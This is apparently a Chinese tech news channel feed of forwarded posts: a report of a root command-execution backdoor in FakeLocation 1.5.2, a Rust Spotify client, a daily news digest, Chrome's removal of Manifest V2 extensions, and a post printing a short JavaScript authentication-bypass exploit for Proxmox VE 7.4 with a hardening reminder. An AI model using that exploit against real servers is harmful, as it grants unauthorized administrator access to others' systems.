OKHK 👀

OKHK 👀

  1. OKHK 👀

    应要求 转发已隐去消息来源codex 分析出来一个任意执行命令的后门当从 HTTPS API 收到 10000 这个 code 的时候会把 message 直接视为命令然后放到有 root 的 shell 和无 root 的 shell 分别同时执行一遍

    Forwarded from 康娜酱酱酱 (独享)
    应要求 转发已隐去消息来源

    codex 分析出来一个任意执行命令的后门
    当从 HTTPS API 收到 10000 这个 code 的时候会把 message 直接视为命令然后放到有 root 的 shell 和无 root 的 shell 分别同时执行一遍
    FakeLocation-1.5.2-服务端命令执行-技术报告.md
    11.7 KB
    来源留证记录.md
    7.6 KB
    来源留证记录.md.tsq
    70 B
    来源留证记录.md.tsr
    5.9 KB

  6. OKHK 👀

    Fastpotify - 基于 Rust 的第三方原生轻量 Spotify 客户端，支持本地播放、曲库访问以及 Spotify Connect 远程控制

    Fastpotify - 基于 Rust 的第三方原生轻量 Spotify 客户端，支持本地播放、曲库访问以及 Spotify Connect 远程控制。
    https://fastpotify.rocks/
    https://github.com/crmne/fastpotify
    #Music #GitHub
    Fastpotify
    Fastpotify
    A fast, native Spotify client for Linux, macOS, and Windows, written in Rust.

    MusicGitHub

  9. OKHK 👀

    一觉醒来发生了什么 09 月 02 日#Daily2026 年 9 月 2 日🌍 资讯快读1、我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类

    一觉醒来发生了什么 09 月 02 日
    #Daily

    2026 年 9 月 2 日
    🌍 资讯快读
    1、我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类
    https://www.jiemian.com/article/15038519.html
    2、智神星一号遥一运载火箭首发成功
    https://www.jiemian.com/article/15038615.html
    3、《微短剧发展管理办法》今起正式施行
    https://www.jiemian.com/article/15039419.html
    4、普京称俄愿意将中俄间的免签制度转为永久性安排，外交部回应
    https://www.jiemian.com/article/15039976.html
    5、吉隆泥石流灾害哀悼活动在西藏吉隆举行
    https://www.jiemian.com/article/15038423.html

    👬 即刻镇小报
    1、欢迎 🔍「00 后的宇宙必听」，我们一起慢慢长大。
    https://m.okjike.com/originalPosts/6a9519c24eb70d9f7c110a86
    2、有种人生策略叫杠铃策略，就是干不喜欢的工作，获得收入保障，支撑自己业余做喜欢的事。
    https://m.okjike.com/originalPosts/6a945d53756bbb665808e9c7
    3、分享一个我们 team 实践中用的一个简洁指标 ——「隐喻率」
    https://m.okjike.com/originalPosts/6a96bae6141b85b2920fa9b4
    4、今天拍到日落了吗
    https://m.okjike.com/originalPosts/6a92d4cacfb5d08b3e6f1263

    今日即刻镇小报内容来自 @小宇宙 App @鲁彼特 @胡迪 Hoodie @精神小伙郑斑斑 ，感谢以上即友的创作与分享。
    界面新闻
    我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类
    据国家能源局，截至今年7月底，我国光伏发电装机容量达到12.86亿千瓦，其中集中式光伏7.04亿千瓦、分布式光伏5.82亿千瓦。光伏发电的装机容量首次超过煤电，成为我国装机规模最大的电源品类。（煤电装机容量12.85亿千瓦）

    Daily

  11. OKHK 👀

    Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展#ChromeGoogle 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展

    Forwarded from Solidot 纯净版
    Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展
    #Chrome

    Google 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展。Chrome 用户已安装的 Manifest V2 扩展目前还能使用，但不会再收到任何更新，卸载之后将无法再重新安装。Chrome Web Store 将只提供 Manifest v3 扩展，Manifest v3 相比 Manifest v2 的一大区别是移除了 blockingWebRequest 和 declarativeNetRequest，限制了广告屏蔽扩展的功能，uBlock Origin 是基于 Manifest V2，它没有 Manifest V3 版本，但有一个基于 V3 的精简版本。用户如果想要继续使用 uBlock Origin 只能改用 Firefox 以及另一个 Chromium 的浏览器 Brave。
    https://webiterate.dev/google-removed-extensions-ublock-origin-108/

    Chrome

  12. OKHK 👀

    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026

    Forwarded from HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

    无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

    Exp (.js) 正文:

    // PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();


    观后感：不是，你就这么水灵灵的拿到 login cookie 了？

    https://fixupx.com/nebusecurity/status/2094719919539793989
    🧵 Thread • FixupX
    NebuSec (@nebusecurity)
    Proxmox VE 7.x authentication bypass (pre-auth RCE)